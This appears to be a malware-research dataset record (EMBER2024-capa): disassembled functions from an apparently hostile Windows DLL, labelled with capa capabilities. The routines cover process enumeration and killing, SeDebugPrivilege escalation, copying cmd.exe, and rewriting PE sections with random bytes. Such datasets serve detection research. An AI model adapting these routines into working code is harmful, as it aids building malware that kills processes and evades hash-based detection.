joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18002b1a0
Capabilities:
Copy file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x140
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x130], rax
xor edx, edx
lea rcx, [rsp + 0x31]
mov byte [rsp + 0x30], 0
lea r8d, [rdx + 0x7f]
call fcn.180055310
xor edx, edx
lea rcx, [rsp + 0xb1]
lea r8d, [rdx + 0x7f]
mov byte [rsp + 0xb0], 0
call fcn.180055310
xor eax, eax
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x20], 0
mov qword [rsp + 0x21], rax
mov word [rsp + 0x29], ax
mov byte [rsp + 0x2b], al
call fcn.180034540
lea rdx, [rsp + 0x30]
lea rbx, [0x180000000]
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
mov rax, qword [rbx + 0x82258]
mov qword [rdx], rax
mov rax, qword [rbx + 0x82260]
mov qword [rdx + 8], rax
mov eax, dword [rbx + 0x82268]
mov dword [rdx + 0x10], eax
movzx eax, byte [rbx + 0x8226c]
mov byte [rdx + 0x14], al
xor eax, eax
lea rdx, [rsp + 0x20]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x18002b260
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
mov eax, dword [0x1800803c0]
lea rcx, [rsp + 0xb0]
mov dword [rdi - 1], eax
movzx eax, byte [0x1800803c4]
lea r8, [rsp + 0x20]
mov byte [rdi + 3], al
mov rax, qword [rbx + 0x82270]
lea rdi, [rsp + 0xb0]
mov qword [rcx], rax
mov rax, qword [rbx + 0x82278]
mov qword [rcx + 8], rax
mov rax, qword [rbx + 0x82280]
mov qword [rcx + 0x10], rax
movzx eax, word [rbx + 0x82288]
mov word [rcx + 0x18], ax
movzx eax, byte [rbx + 0x8228a]
mov byte [rcx + 0x1a], al
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
inc rdx
mov byte [rdi + rdx - 2], al
test al, al
jne 0x18002b2f0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xb0]
repne scasb al, byte [rdi]
mov rax, qword [str..exe.mui]
lea rdx, [rsp + 0x30]
mov qword [rdi - 1], rax
movzx eax, byte [0x180082298]
lea rcx, str.C:WindowsSystem32cmd.exe
xor r8d, r8d
mov byte [rdi + 7], al
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rdx, [rsp + 0xb0]
lea rcx, str.C:WindowsSystem32zh_CNcmd.exe.mui
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x30]
inc rdx
mov byte [rdx + rbx + 0xa449f], al
test al, al
jne 0x18002b360
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.180050540
mov rbx, qword [rsp + 0x150]
add rsp, 0x140
pop rdi
ret
Function at 0x18002cd50
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x448
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x430], rax
xor edx, edx
mov dword [rsp + 0x20], 0
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
test rax, rax
je 0x18002ce95
lea rcx, [rsp + 0x20]
mov rdx, rax
call fcn.18002da50
test eax, eax
je 0x18002ce95
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x3ff
mov qword [rsp + 0x440], rdi
mov byte [rsp + 0x30], 0
call fcn.180055310
mov edi, dword [rsp + 0x20]
xor edx, edx
mov ecx, 0x410
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x18002ce5e
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.18002dd30
test eax, eax
je 0x18002ce5e
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
mov qword [rsp + 0x450], rbx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18002ce54
cmp dword [0x1800a50f4], 0
je 0x18002ce3a
mov ecx, edi
call fcn.18002ed90
mov edx, edi
mov rcx, rbx
call fcn.180011680
test eax, eax
jne 0x18002ce7e
lea ecx, [rax + 0x32]
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x18002ce50
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x18002ce7e
xor eax, eax
mov rbx, qword [rsp + 0x450]
mov rdi, qword [rsp + 0x440]
mov rcx, qword [rsp + 0x430]
xor rcx, rsp
call fcn.180050540
add rsp, 0x448
ret
lea rcx, [rsp + 0x30]
call fcn.18002de80
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18002ce56
xor eax, eax
mov rcx, qword [rsp + 0x430]
xor rcx, rsp
call fcn.180050540
add rsp, 0x448
ret
Function at 0x18002da50
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rsi, rdx
mov rbp, rcx
lea rdx, [rsp + 0x20]
mov rcx, rsi
xor edi, edi
mov dword [rsp + 0x20], 0x130
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x18002db49
mov qword [rsp + 0x190], rbx
mov qword [rsp + 0x198], r12
lea r12, str.crossfire.exe
nop dword [rax]
mov ebx, edi
nop word [rax + rax]
movsxd rdx, ebx
lea rcx, [rsp + 0x4c]
shl rdx, 5
add rdx, r12
call fcn.1800514c8
test eax, eax
je 0x18002db0f
inc ebx
cmp ebx, 5
jl 0x18002dac0
cmp dword [0x1800a2b98], edi
je 0x18002daf6
mov edx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x28]
call fcn.18002d110
jmp 0x18002db0b
cmp dword [0x1800a2b9c], edi
je 0x18002db0f
mov edx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x28]
call fcn.18002d4c0
test eax, eax
jne 0x18002db22
lea rdx, [rsp + 0x20]
mov rcx, rsi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x18002dab0
jmp 0x18002db2e
mov eax, dword [rsp + 0x28]
mov edi, 1
mov dword [rbp], eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12, qword [rsp + 0x198]
mov rbx, qword [rsp + 0x190]
mov eax, edi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180050540
add rsp, 0x160
pop rdi
pop rsi
pop rbp
ret
Function at 0x18002db70
Capabilities:
Get disk information

Disassembly:
push r12
push r13
sub rsp, 0x268
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov r12, rdx
mov r13, rcx
test rdx, rdx
jne 0x18002db9f
xor eax, eax
jmp 0x18002dc99
mov qword [rsp + 0x290], rbx
mov qword [rsp + 0x260], rbp
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x103
mov qword [rsp + 0x258], rsi
mov qword [rsp + 0x250], rdi
mov byte [rsp + 0x20], 0
call fcn.180055310
lea rdx, [rsp + 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea rcx, [rsp + 0x131]
xor esi, esi
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x130], sil
movsxd rdi, eax
call fcn.180055310
mov rbx, rsi
mov rbp, rdi
test edi, edi
jle 0x18002dc77
movsxd rax, esi
lea rdx, [rsp + 0x130]
mov r8d, 0x104
lea rcx, [rsp + rax + 0x20]
mov byte [rsp + rbx + 0x22], 0
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
je 0x18002dc6b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x130]
repne scasb al, byte [rdi]
movzx eax, word [0x180080268]
lea rdx, [rsp + 0x130]
mov rcx, r13
mov word [rdi - 1], ax
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
mov r11, rax
test rax, rax
jne 0x18002dcb5
add rbx, 4
add esi, 4
cmp rbx, rbp
jl 0x18002dc12
xor eax, eax
mov rsi, qword [rsp + 0x258]
mov rbp, qword [rsp + 0x260]
mov rbx, qword [rsp + 0x290]
mov rdi, qword [rsp + 0x250]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.180050540
add rsp, 0x268
pop r13
pop r12
ret
movsxd rax, esi
mov r8, r12
sub r8, rax
lea rdx, [rsp + rax + 0x20]
lea rax, [rsp + 0x20]
sub r8, rax
nop dword [rax + rax]
movzx eax, byte [rdx]
inc rdx
mov byte [r8 + rdx - 1], al
test al, al
jne 0x18002dcd0
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x130]
repne scasb al, byte [rdi]
mov rdi, r12
not rcx
lea rdx, [rcx + r11 - 2]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x18002dd10
mov eax, 1
jmp 0x18002dc79

Function at 0x18002dd30
Capabilities:
Get process image filename

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x140
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rdi, rdx
mov rsi, rcx
mov r8, rcx
mov r9d, 0x400
xor edx, edx
mov rcx, rdi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ebx, eax
test eax, eax
jne 0x18002ddbf
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x20], bl
call fcn.180055310
lea rdx, [rsp + 0x20]
mov r8d, 0x104
mov rcx, rdi
call sub.PSAPI.DLL_GetProcessImageFileNameA
mov ebx, eax
test eax, eax
jne 0x18002ddb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18002ddbf
lea rcx, [rsp + 0x20]
mov rdx, rsi
call fcn.18002db70
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.180050540
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x18002e9d0
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x40
lea r8, [rsp + 0x60]
xor ebx, ebx
mov edx, 0xf01ff
mov qword [rsp + 0x60], rbx
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18002ea4f
lea r8, [rsp + 0x68]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x18002ea44
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x30]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ebx, eax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
add rsp, 0x40
pop rbx
ret

Function at 0x18002ed90
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x170
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor edx, edx
mov ebx, ecx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
test rax, rax
je 0x18002ee9d
lea rdx, [rsp + 0x30]
mov rcx, rax
mov dword [rsp + 0x30], 0x130
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x18002ee9d
mov qword [rsp + 0x188], rbp
xor ebp, ebp
mov qword [rsp + 0x190], rdi
cmp dword [rsp + 0x50], ebx
jne 0x18002ee78
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x18002ee78
cmp dword [reloc.WS2_32.dll_accept], ebp
je 0x18002ee78
lea rcx, str.kernel32
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x180080f88]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18002ee6e
lea rdx, [rsp + 0x20]
mov rcx, rdi
call rax
test eax, eax
je 0x18002ee6e
cmp dword [rsp + 0x20], ebp
jne 0x18002ee6e
mov edx, ebx
mov rcx, rdi
call fcn.18002ecd0
jmp 0x18002ee78
mov edx, ebx
mov rcx, rdi
call fcn.18002ec10
lea rdx, [rsp + 0x30]
mov rcx, rsi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x18002edf6
mov rdi, qword [rsp + 0x190]
mov rbp, qword [rsp + 0x188]
mov eax, 1
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.180050540
mov rbx, qword [rsp + 0x198]
add rsp, 0x170
pop rsi
ret
Function at 0x180030310
Capabilities:
Find taskbar

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
lea r8, str.Shell_TrayWnd
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x38], 0
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rbx, rax
test rax, rax
je 0x180030357
lea r8, [rsp + 0x38]
lea rdx, [0x180030390]
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumChildWindows]
cmp qword [rsp + 0x38], 0
je 0x180030375
mov rdx, rdi
mov rcx, rbx
call fcn.18002fed0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180031fb0
Capabilities:
Get user security identifier

Disassembly:
mov r11, rsp
push rbp
push rsi
push rdi
sub rsp, 0x140
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [r11 + 0x18], rbx
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rbp, rdx
mov rbx, rcx
lea rax, [rsp + 0x58]
mov qword [rsp + 0x50], rax
lea rsi, [rsp + 0x58]
mov dword [rsp + 0x40], 0x44
mov dword [rsp + 0x44], 0x80
lea rdi, [rcx + 0x50]
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
lea r8, [r11 - 0x78]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x1800320a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x180032133
cmp dword [rsp + 0x40], 0x44
jbe 0x180032054
mov ecx, 0x80004005
call fcn.18000b680
int3
mov eax, dword [rsp + 0x44]
cmp eax, 0x80
jbe 0x180032071
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.180037180
mov rsi, qword [rsp + 0x50]
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x40]
lea r8, [rsp + 0xe0]
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
je 0x180032133
mov byte [rbx + 0x4c], 1
lea rdx, [rbx + 8]
lea r8, [rsp + 0xe0]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CopySid]
test eax, eax
je 0x180032133
test rsi, rsi
jne 0x1800320cc
xor ecx, ecx
jmp 0x1800320dd
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
dec rcx
mov r8d, ecx
mov rdx, rsi
lea rcx, [rbx + 0x60]
call fcn.18000d970
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbp
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
mov rdx, rbp
lea rcx, [rbx + 0x58]
call fcn.18000d970
lea rcx, [rbx + 0x70]
xor r8d, r8d
xor edx, edx
call fcn.18000d970
nop
lea rax, [rsp + 0x58]
cmp qword [rsp + 0x50], rax
je 0x18003212f
lea rcx, [rsp + 0x50]
call fcn.180037300
mov al, 1
jmp 0x180032179
mov dword [rdi], 7
lea rcx, [rbx + 0x58]
call fcn.18000dad0
lea rcx, [rbx + 0x60]
call fcn.18000dad0
lea rcx, [rbx + 0x68]
call fcn.18000dad0
lea rcx, [rbx + 0x70]
call fcn.18000dad0
mov byte [rbx + 0x4c], 0
lea rax, [rsp + 0x58]
cmp qword [rsp + 0x50], rax
je 0x180032177
lea rcx, [rsp + 0x50]
call fcn.180037300
xor al, al
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.180050540
mov rbx, qword [rsp + 0x170]
add rsp, 0x140
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800335f0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [0x1800a2978]
mov rsi, rdx
mov rdx, r9
mov rdi, r9
mov r12, r8
xor ebp, ebp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [0x1800a2978]
mov rdx, rdi
mov r14d, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov r13, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, r12
mov r15, rax
sub rdx, rbx
movzx ecx, byte [rbx]
inc rbx
mov byte [rdx + rbx - 1], cl
test cl, cl
jne 0x180033652
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r12
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rsi + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x180033670
lea rdx, [0x180080678]
mov rcx, r12
call fcn.180050a28
mov rdi, rax
test rax, rax
je 0x1800336b4
mov ebp, 1
mov rdx, r14
mov r9, rax
mov r8, rbp
mov rcx, r15
call fcn.180050ccc
mov rcx, rdi
call fcn.1800511e8
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
mov eax, ebp
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180033840
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x370
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x360], rax
lea rax, [rsp + 0x48]
mov rbx, rcx
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerDesktopNameSpace
xor edi, edi
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x48], rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x18003389b
xor eax, eax
jmp 0x180033a46
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0xff
mov qword [rsp + 0x388], rsi
mov byte [rsp + 0x60], dil
call fcn.180055310
lea rcx, [rsp + 0x261]
xor edx, edx
mov r8d, 0xff
mov byte [rsp + 0x260], dil
call fcn.180055310
mov esi, edi
nop dword [rax]
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x54]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x260]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x60]
mov edx, esi
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x40], 0x100
mov dword [rsp + 0x54], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
inc esi
test eax, eax
jne 0x1800339f5
lea rcx, [rsp + 0x161]
xor edx, edx
mov r8d, 0xff
mov byte [rsp + 0x160], dil
call fcn.180055310
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x58]
lea rdx, [rsp + 0x60]
mov r9d, 0xffff
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x160]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov dword [rsp + 0x58], 0x100
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], edi
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x1800338e0
lea rdx, str.Internet_Explorer
lea rcx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1800338e0
cmp dword [rsp + 0x40], 0x104
ja 0x180033a25
test rbx, rbx
je 0x180033a25
lea rax, [rsp + 0x60]
lea rcx, [rsp + 0x60]
sub rbx, rax
nop word [rax + rax]
movzx eax, byte [rcx]
inc rcx
mov byte [rbx + rcx - 1], al
test al, al
jne 0x1800339e0
mov edi, 1
jmp 0x180033a31
cmp eax, 0x103
je 0x180033a31
cmp eax, 0xea
jne 0x180033a14
lea rcx, str.EnumKey__error_is_ERROR_MORE_DATA._n
call fcn.180007760
jmp 0x1800338e0
lea rcx, str.EnumKey__other_error._n
call fcn.180007760
jmp 0x1800338e0
lea rcx, str._BufferNameSpaceIE_not_enough._n
call fcn.180007760
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rsi, qword [rsp + 0x388]
mov eax, edi
mov rcx, qword [rsp + 0x360]
xor rcx, rsp
call fcn.180050540
mov rbx, qword [rsp + 0x390]
add rsp, 0x370
pop rdi
ret
Function at 0x180033c30
Capabilities:
Parse pe header
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
push rbx
push rbp
push rsi
push rdi
push r15
sub rsp, 0x30
lea rdx, [0x180082cd4]
xor r15d, r15d
call fcn.180050a28
mov rbx, rax
test rax, rax
je 0x180033ebe
lea r8d, [r15 + 2]
xor edx, edx
mov rcx, rax
call fcn.180051050
mov rcx, rbx
call fcn.180050f34
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x180033ebe
mov rcx, rbx
call fcn.180050820
lea r11d, [rsi + 1]
movsxd rbp, r11d
mov rcx, rbp
call fcn.18004f9f8
mov rdi, rax
test rax, rax
je 0x180033ebe
mov r8, rbp
xor edx, edx
mov rcx, rax
call fcn.180055310
lea r8d, [r15 + 1]
mov r9, rbx
mov rdx, rsi
mov rcx, rdi
mov qword [rsp + 0x78], rsi
call fcn.180051900
test eax, eax
jle 0x180033eb6
mov rcx, rbx
mov qword [rsp + 0x60], r12
call fcn.1800511e8
movsxd rax, dword [rdi + 0x3c]
lea r12, [rax + rdi + 0xf8]
mov eax, 0x5a4d
mov qword [rsp + 0x70], r12
cmp word [rdi], ax
je 0x180033d0d
mov rcx, rdi
call fcn.1800515dc
mov r12, qword [rsp + 0x60]
xor eax, eax
add rsp, 0x30
pop r15
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov qword [rsp + 0x20], r14
mov r14d, dword [rdi + 0x3c]
add r14, rdi
cmp dword [r14], 0x4550
jne 0x180033dec
mov eax, 0xe0
cmp ax, word [r14 + 0x14]
jne 0x180033dec
mov qword [rsp + 0x28], r13
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1800524b0
call fcn.1800524c8
mov r13d, r15d
mov dword [r14 + 8], eax
movzx eax, word [r14 + 6]
dec eax
test eax, eax
jle 0x180033db9
add r12, 8
nop word [rax + rax]
mov ecx, dword [r12]
mov esi, dword [r12 + 0xc]
mov eax, dword [r12 + 8]
add rsi, rdi
sub eax, ecx
mov rbx, r15
add rsi, rcx
movsxd rbp, eax
test eax, eax
jle 0x180033da1
call fcn.1800524c8
inc rbx
cmp rbx, rbp
mov byte [rbx + rsi - 1], al
jl 0x180033d90
movzx eax, word [r14 + 6]
inc r13d
add r12, 0x28
dec eax
cmp r13d, eax
jl 0x180033d70
mov r12, qword [rsp + 0x70]
call fcn.1800524c8
mov esi, eax
mov eax, 0x51eb851f
mul esi
shr edx, 5
imul edx, edx, 0x64
sub esi, edx
imul esi, dword [r14 + 0x38]
movsxd rbp, esi
mov rcx, rbp
call fcn.18004f9f8
mov r13, qword [rsp + 0x28]
mov rbx, rax
test rax, rax
jne 0x180033e0b
mov rcx, rdi
call fcn.1800515dc
xor eax, eax
mov r14, qword [rsp + 0x20]
mov r12, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov r8, rbp
xor edx, edx
mov rcx, rax
call fcn.180055310
movzx eax, word [r14 + 6]
add dword [r14 + 0x50], esi
lea rcx, [rax + rax*4]
lea rdx, [0x180082cd8]
add dword [r12 + rcx*8 - 0x20], esi
movzx eax, word [r14 + 6]
lea rcx, [rax + rax*4]
add dword [r12 + rcx*8 - 0x18], esi
mov r12, qword [rsp + 0x68]
mov rcx, r12
call fcn.180050a28
mov rsi, rax
test rax, rax
je 0x180033e9e
mov rdx, qword [rsp + 0x78]
mov r9, rax
mov r8d, 1
mov rcx, rdi
call fcn.180050ccc
mov r9, rsi
mov r8d, 1
mov rdx, rbp
mov rcx, rbx
call fcn.180050ccc
mov rcx, rsi
call fcn.1800511e8
cmp dword [r14 + 0x58], 0
mov r15d, 1
je 0x180033e9e
mov rcx, r12
call fcn.1800375a0
mov r15d, eax
mov rcx, rbx
call fcn.1800515dc
mov rcx, rdi
call fcn.1800515dc
mov eax, r15d
jmp 0x180033df6
mov rcx, rdi
call fcn.1800515dc
xor eax, eax
add rsp, 0x30
pop r15
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180033ed0
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180033f54
lea r8, [rsp + 0x58]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x180033f4e
mov rax, qword [rsp + 0x58]
lea r8, [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x34], rax
xor eax, eax
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], rax
lea r9d, [rax + 0x10]
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x180033f5b
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x48
ret
mov eax, 1
add rsp, 0x48
ret